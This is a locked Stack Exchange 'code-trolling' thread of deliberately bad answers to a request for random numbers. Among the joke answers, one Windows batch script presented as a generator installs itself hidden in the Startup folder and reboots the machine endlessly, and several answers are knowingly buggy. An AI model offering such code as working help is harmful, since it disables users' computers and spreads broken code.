Take the 2-minute tour ×
Programming Puzzles & Code Golf Stack Exchange is a question and answer site for programming puzzle enthusiasts and code golfers. It's 100% free, no registration required.

The challenge:

Generate a random sequence of numbers. The only input should be the length of the sequence.

Extra internet points for pure-functional solutions.

Note: This is a question. Please do not take the question and/or answers seriously. More information here.


locked by Doorknob May 11 at 22:21

This question exists because it has historical significance, but it is not considered a good, on-topic question for this site, so please do not use it as evidence that you can ask similar questions here. This question and its answers are frozen and cannot be changed. More info: help center.

xkcd.com/221 –  grc Dec 28 '13 at 4:13
Code-trolling is in the process of being removed, as per the official stance. This question has many answers and votes, recieved exactly 50% "keep" votes on the poll, and is one of the first [code-trolling] posts, so I am locking it for historical significance. –  Doorknob May 11 at 22:21

36 Answers 36

up vote 38 down vote accepted


Grab a random wikipedia article, and take a sequence of html characters of length num, and get their numerical values

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)
I liked my answer... but I NEED to +1 this. –  Shingetsu Dec 28 '13 at 17:24
And the moral of the story is: Using Wikipedia for your homework is cheating. –  Wrzlprmft Dec 29 '13 at 12:32
The only part that I don't like is that probability distribution for different numbers isn't uniform. But that is easily forgiven, because this is awesome. –  Kevin Dec 31 '13 at 16:18
@Kevin: The OP did not require uniformly distributed random numbers. In fact, this gives me an idea … –  Wrzlprmft Dec 31 '13 at 17:06

All the programs from the other answers will only generate so-called “pseudo-random numbers”, which may look random to the untrained eye but actually follow some pattern.

The following program generates actual random numbers by turning your computer into a particle detector for background radiation. Since this is based on quantum effects, it’s really random and impossible to predict. And for a bonus, the program actually runs faster, if you launch your computer into space. And yes, that is every bit as cool as it sounds.



int main(void)
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
        j = k = 42;
        l = 0;
        while (j==k)
        printf("%i\n", l);


This program generates two identical pieces of memory and then waits how long it takes for background radiation to change one of them. The waiting time is then returned as a random number, which would be exponentially distributed, if it weren’t for integer overflows. Such events being more likely in space is an actual problem in astronautics, which is addressed by radiation hardening. So, every statement in the introduction is true to some extent, apart from the bit about coolness.

Unfortunately, such an event crashing the computer or at least the program is more likely than it affecting exactly those two chunks of memory. Also, it may take a while … Finally, as pointed out by kinokijuf, background radiation is an external process, so j and k should be marked as volatile to the compiler (or you should use a compiler that does not optimise at all).

PS: Expanding on the idea, one could also just create an array filled with zeros and then print it. There is a chance of ε that background radiation changes the zeros between storing and printing and thus what is printed is random – the OP never said how the random numbers were to be distributed.

+1 Extra points for useless but true. –  emory Dec 28 '13 at 16:27
Note that the background-radiation-detecting code will be optimised out by the compiler. –  kinokijuf Dec 28 '13 at 20:12
@kinokijuf: What a shame (does this hold for every compiler independent of the options?). Anyway, since this is code-trolling, I hereby declare this a feature of the answer. –  Wrzlprmft Dec 28 '13 at 20:41
Unless you mark them as volatile, then your code will in fact work as expected. –  kinokijuf Dec 28 '13 at 21:52
Is there some way to ensure that j and k always use certain locations in memory? (I haven't used C much; I'm a Java and C# programmer.) If so, you could design the hardware so that those locations aren't protected by radiation hardening, but the rest of the system is. –  Kevin Dec 31 '13 at 16:24

Randomness is hard to achieve on a computer, as they are purely deterministic. Generating random numbers on computers is a very active area of research, often involving state-level actors (See Dual_EC_DRBG). However, on a modern multi-tasking operating system, the thread scheduler may do a passable job in some situations. To do this, we yield control of our current time slice back to the operating system, and make note of how long it takes for us to be scheduled again. Depending on the operating system and the load, this may produce the desired results.

const int bitsInInt = 31;

void Main()
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
        var sw = new Stopwatch();


        yield return (int)(sw.ElapsedTicks & 0x1L);

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
This is almost a serious solution! –  Abhinav Sarkar Dec 30 '13 at 13:01


As the users of out software are inherently random by their nature, why not use that to our advantage?

This code takes a screenshot, and uses that with some other data to produce random sequence. Bonus internet points for not using built-in Random generator?

public unsafe uint[] GetThemRandom(int length)
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;

            return randoms;


It is easy to stumble over the common pitfalls: a non-evenly distributed source of random numbers and no randomisation. My solution superbly avoids these issues by using deep mathematical insights and a simple, but effective trick, randomisation with the current time:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!

Works great when tested once for a small set of numbers (9 or less), but severely flawed wen tested little more:

  • math.pi only contains a few digits after the period
  • time.localtime()[8] doesn't return the milliseconds or kernel clock, but 0 or 1 depending on whether it's daylight saving time or not. So the random seed changes once every half year by one place. So, basically, no randomisation.
  • This only returns random numbers between 0 and 9.
  • random_numbers[:number] silently fails when you enter a number bigger than 15 and only spits out 15 random numbers.

Sadly, this is inspired by the Delphi 1.0 random function, which used to work similarly.



The question asks for a SEQUENCE. Here we go again...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end

This is 100% random. No really.
Too bad this code means NOTHING to the OP (what the hell is object_id?)
Also, it's implementation specific, meaning it works or doesn't between different ruby versions (ran this on 2.1.0p0).
On top of that, this can potentially do something really nasty, since OP might experiment with object_id...

Example output:



modified to use $$ for true randomness (on the OS level).

I could do this in C and get even MORE garbage, but what's the fun in doing pseudorandoms in C? –  Shingetsu Dec 28 '13 at 5:18


Beware, this is a trick question .....

Most people in Java will use math.random() to help to generate this sequence, but they will get confused because they will only get positive results! random() returns a decimal value from 0 to 1 (excluding 1 itself). So, you have to play some tricks to make sure you get a good distribution of random values from over the entire integer range (positive and negative).

Also, you cannot simply multiply Math.random() and Integer.MAX_VALUE because you this will never include Integer.MAX_VALUE itself as part of the result! Also, it would be logical to do math.rand() * (Integer.MAX_VALUE + 1) so that you get a full distribution, but, of course, this does not work because Integer.MAX_VALUE + 1 will overflow, and become Integer.MIN_VALUE! So, unfortunately, the best solution is to resort to bit-wise manipulation of the data...

So, here is a complete sequence for generating 'n' random values in the range Integer.MIN_VALUE to Integer.MAX_VALUE (Inclusive of both extremes (which is the hard part)!!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    return ret;

This produces output like:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Of course, the above is a complete BS answer. It does not produce a good description, and it 'hides' a severe bug ( ^= should be |=). it also hides a less-severe bug (the order-pf-precedence means we do not actually multiply by a prime value at all!) Using fancy words, prime numbers, and lots of comments is no reason to trust the code.... Of course, if you want to do the above, you should just use java.util.Random.nextInt()



Now that I look back on the program, I forgot to close the Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
    public static void main(String... args)
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
(non-troll) You can handle closing streams/etc. much more easily in Java 7 with try (Scanner reader = new Scanner(System.in)) { ... }. –  WChargin Dec 28 '13 at 19:08



I'm doing the same $\ tactic for output as in a different code-trolling answer. Also, you many notice that I am investing a considerable amount of $$ into the RANDU algorithm.

Edit: To explain better, RANDU is a horribly insecure PRNG. Wikipedia describes is as "one of the most ill-conceived random number generators ever designed." It's primary weakness is below:

f(x) = 6*f(x-1) - 9*f(x-2)


Here's a random number generator, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
You should allocate length only. Corrupted data when the example works just fine are the best. –  Jan Dvorak Dec 28 '13 at 19:30

In javascript, with a functional style:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");
I wasn't aware that it was possible to write JS like this 0_0 –  Kevin Dec 31 '13 at 19:04


This function works very well for small applications for creating random numbers between 0 and 1337. Calling it more than once is advisable to insure maximum randomness.

int* getRandom(int length)
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
My RAM and page files are weeping. –  Kevin Dec 31 '13 at 19:10

The famous Blum Blum Shub generator. Because random number generators should cryptographically secure, and what better way to provide security than through obscurity.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
  return BLum>>1;

int seed(int n){
  return rand(n);

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){

(Includes terrible variable names, an incorrect implementation based on a quick scan of wikipedia, and useless function pointer magic thrown in for fun)

int argv, char* argc[] Oh god, why? –  Joe Z. Dec 29 '13 at 16:16



int main()
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
       printf("%f\n", a[i]);
   return a[0];

Use some garbage heap data. Oh, and don't forget to leak the pointer.



#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;


  • It works.
  • Sometimes.
  • Valid(ish) C89.
  • Terrible C++.
  • Use the C headers because using namespace std; is EVIL and we don't want to slow the program down with all those namespace lookups.
  • We eschew uniformity of distribution in favour of speed by using modulus with a hardcoded value (TODO: change this to use a bitshift for even more raw speed).
  • Can verify determinism by executing mutiple times within the same clock second.
  • Why this code is bad is unobvious enough that the OP probably won't realize it.


  • Why this code is bad is unobvious enough that the OP's professor('s grader) probably won't realize it.
  • This seems to be commonly regarded as an acceptable solution.
  • Needs more RAW SPEED.
Lemme guess, it has undefined behaviour if argv[1] isn't an integer (or worse, if it's null)? –  Joe Z. Dec 29 '13 at 16:18
Oh, it'll work just fine if argv[1] doesn't encode an integer; atoi will simply return zero. Where it gets hairy is when the encoded integer lies outside of the range of int. –  Stuart Olsen Dec 29 '13 at 23:01


RandInt = 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Input - 3

Output - {2,3,1}

It works because it boils down to :Input A:Disp randIntNoRep(1,A)


Here's a Python solution. You can't prove that this isn't random!

def get_random(num):
    print '3' * num

Try it out by calling get_random(5), for example.

It isn't random because you can predict the output by looking at the code. You don't even need to know when it runs! –  Shingetsu Dec 28 '13 at 4:07
@Shingetsu The OP is using word play to basically say "You can prove that it is random". –  C1D Dec 28 '13 at 18:13


use strict;
use warnings;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
print "\n";

This one uses some very simple perl code to do as the OP asked, but not before recursively removing their home directory (without actually writing rm -rf ~, of course.)

I haven't tested this (for obvious reasons).

Code trolling answers aren't supposed to be destructive, in case someone does try a code sample. –  Kevin Dec 31 '13 at 19:11

Python 3

Not only does it waste a lot of time (both real and CPU time), it only returns 10 random numbers.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':


You may know that not all numbers are random. This program checks all the numbers and gives you only the ones that truely are random.

Beware that Ruby code is a little tricky to read. It's not as efficient as English because computers are a little stupid and sometimes you have to repeat important words to them.

Therefore I've added some #comments to the code; The UPPERCASE words in the comments show how that same word works in the Ruby code.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
   }.take(n) # Self explanatory

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

More detailed explanation may come later, but this output from an example run should give some of it away: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ...Still kinda random though.


The following Windows Batch script will generate a file with random numbers named OUTPUT.TXT in your profile folder. This is guaranteed to generate almost totally true random numbers. Just paste this code into Notepad, save as "FileName.CMD" (with the quotes) and execute.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"

shutdown -r -t 0

FOR /D %%F IN (%time%) DO (
@set output=%%F
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"


Having to enter an amount of random numbers to be generated is way too troublesome by the way. Just push and hold the power button to make it stop generating. Way easier! Plus: it doesn't require a keyboard.

Explanation: the script copies itself to the startup folder if it isn't there already, grabs the centiseconds of %time%, writes them to %userprofile%\OUTPUT.TXT and then restarts the computer. Once the computer is restarted it does the same again. –  user2428118 Jan 10 at 20:29


This is an overachieving, over-complicated, messy (even with a syntax highlighter), function that generates insensibly high numbers in a much over-complicated way. And instead of returning the string of numbers, it prints them on the screen, making it unpractical for use within your programs. It is hard to edit, so if your victum asks you to fix it, say it's too complicated to edit.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end


 public class Random
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
            currentFactor = DateTime.Now.ToFileTime();

        public IEnumerable<int> GetSequence(int count)
            int i = 0;
            while (i < count)

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;


Note it tends to break for longer sequences, but when it works it generates very random numbers



Your computer already has a built-in random number, so you just need to access that:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
end program random_numbers

Obviously non-portable, as it requires the user to have a *nix system (but who still uses Windows anyways?).


I assume that you of course need lots of random numbers. Which calls for...

Bash and Hadoop

Of course, Just using a single random source is unreliable in the days of the NSA. They might have trojaned your computer. But they are so not going to have trojaned your whole cluster!

# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
echo $$RANDOM

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
exec sort -R | head -1 

Next, the script will run the cluster jobs as desired:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure

Thank god, we have the power of Hadoop!

It's Bash that makes this what it is :) –  Riot Dec 29 '13 at 3:11


require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits


This is quite tricky and i would not worry too much about it. Just copy and paste the below code into your library and you will be golden forever.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
    int random[5];
    fillNumbers(random, 5);

void fillNumbers(int arr[], unsigned size)
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
        arr[size] = rand();

Try C++ - fast, powerful, everything you'll ever want:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);

// some support code
class random {

  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

  vector<int> v;

// generate number
int generate_num() {

  // seed random number generator

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers

  return 0;
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;

By the way, for the best results, you will want to use a class.

1. He does NOT need to use that class - that is totally redundant.
2. The return statement in generate_num() actually returns the number^(number^0), which evaluates to number^1, which is number. This also is redundant.
3. Most unnecessary error-handling - what could go wrong with this basic of data-punching?
4. I used std:: before all elements of the std namespace. This also is redundant.
5. The #define statements are unnecessary also - I did that to make him think that I defined those types specifically for this program.

This program actually works; however, I do NOT recommend any person or entity using it in their code for real-life. I do not reserve any rights on this code; in other words, I make it entirely open-source.

It's actually good practice to use the std:: prefix, without using using namespace std, so that you don't pollute the global scope. (If you're lazy, using std::cout and such are still better than using namespace std.) –  nyuszika7h Dec 30 '13 at 22:39
Oh. Bjarne Stroustrup said to use using namespace std; and specify all other classes directly. –  hosch250 Dec 30 '13 at 23:34


Taking the functional part - the almost one-liner python

import random
map(lambda x: random.random(), xrange(input())

Not the answer you're looking for? Browse other questions tagged or ask your own question.